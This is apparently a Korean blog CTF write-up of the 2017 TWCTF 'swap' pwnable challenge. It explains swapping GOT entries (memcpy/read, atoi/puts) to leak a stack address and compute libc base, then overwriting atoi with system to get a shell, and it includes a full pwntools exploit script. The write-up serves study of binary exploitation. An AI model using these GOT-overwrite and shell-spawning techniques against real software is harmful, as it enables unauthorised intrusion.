본문 바로가기
pwnable/ctf

[write-up] 2017 twctf - swap

by Ryuuu 2018. 1. 28.



제일 먼저 파일을 확인하면 64비트 동적으로 컴파일 된 바이너리이다.

 




보호기법은 스택 쿠키와 nx가 걸려있다.



코드를 보면 두개의 값을 입력받고 그 값에 해당하는 메모리를 서로 바꿔주는 프로그램이었다.

하지만 서로 바꾸면 예상치 못한 곳에서 segment 오류가 날 수 있다.




그래서 생각한 것이 첫번째 인자를 memcpy로 해주고 두번째 인자를 read 바꿔주면 memcpyread로 바뀌지만 readmemcpy로 바뀌지 않아서 원하는 곳에 원하는 값을 써줄 수 있다는 것이다.


사용자가 입력하는 변수를 인자로 가지는 것은 atoiatoll밖에 없었다.

그 중 atoll을 바꾸면 나중에 system함수를 넣을 때 써야 되므로 atoi gotputs plt로 바꿔줘서 스택 릭을 하였다.


 

스택 릭을 하니 뒤에 세자리가 고정된 값이 반복적으로 릭이 되었다.

따라서 고정된 특정 주소와 libc_base와의 offset은 고정되어있으므로 gdblibc_base까지의 offset을 계산해서 넣어줘서 릭을 하였다.



마지막으로 puts의 리턴값이 넣어준 바이트 개수인것을 이용하여 바꾸었던 atoi함수를 system으로 넣어주고 buf/bin/sh로 바꿔줘서 쉘을 얻었다.


 


payload

     

# usr/bin/env python
# ryuuu

from pwn import *
import sys

elf = ELF("./swap")
read_got = elf.got["read"]
memcpy_got = elf.got["memcpy"]
puts_plt = elf.plt["puts"]
atoi_got = elf.got["atoi"]
libc_start_main_got = elf.got['__libc_start_main']

log.info("read_got				:"+hex(read_got))
log.info("memcpy_got				:"+hex(memcpy_got))
log.info("puts_plt				:"+hex(puts_plt))
log.info("libc_start_main_got			:"+hex(libc_start_main_got))

#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.19.so")

libc_start_main_offset = libc.symbols['__libc_start_main']
libc_system = libc.symbols['system']    #system offset
libc_binsh = next(libc.search("/bin/sh\x00")) #binsh offset

log.info("libc_start_main_offset		:"+hex(libc_start_main_offset))

#s = process("swap")
#s = process(["strace", "-i" ,"./swap"])
s = remote("nc addr", port)
sleep(5)

s.sendlineafter("choice:","1")

s.sendlineafter("1st addr",str(memcpy_got)) # memcpy -> read
s.sendlineafter("2nd addr",str(read_got))

s.sendlineafter("choice:","2")

s.sendlineafter("choice:","1")

s.sendlineafter("1st addr",str(0))
s.sendlineafter("2nd addr",str(atoi_got)) # overwrite atoi

s.sendlineafter("choice:","2")

s.recv(1)
s.send(p64(puts_plt))  # atoi -> puts

print s.recvuntil("choice:")
s.sendline("A"*7)
s.recvuntil("AAAAAAA\n")
stack_leak = u64(s.recv(8)+"\x00\x00")

log.info("stack_leak		:"+hex(stack_leak))

libc_base = stack_leak - 0x3c2483 - 0x1000

system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh

log.info("libc_base		:"+hex(libc_base))

s.sendlineafter("choice:","\x00")

s.sendlineafter("1st addr",str(0))
s.sendlineafter("2nd addr",str(atoi_got)) # atoi -> system
s.sendlineafter("choice:","\x01\x00")
sleep(1)
s.send(p64(system_addr))

s.sendlineafter("choice:","/bin/sh\00")

#print util.proc.pidof(s)
#pause()

s.interactive()

  



'pwnable > ctf' 카테고리의 다른 글

[write-up] 2017 white_league-start  (0) 2018.02.05
[write-up]Codegate 2017 babypwn  (1) 2018.01.31
[write-up] 2016 hdcon - pwnit  (0) 2018.01.29
[write-up] 2015 defcon - r0pbaby  (0) 2018.01.28
[write-up] 2017 samsung ctf - msg  (4) 2018.01.28

댓글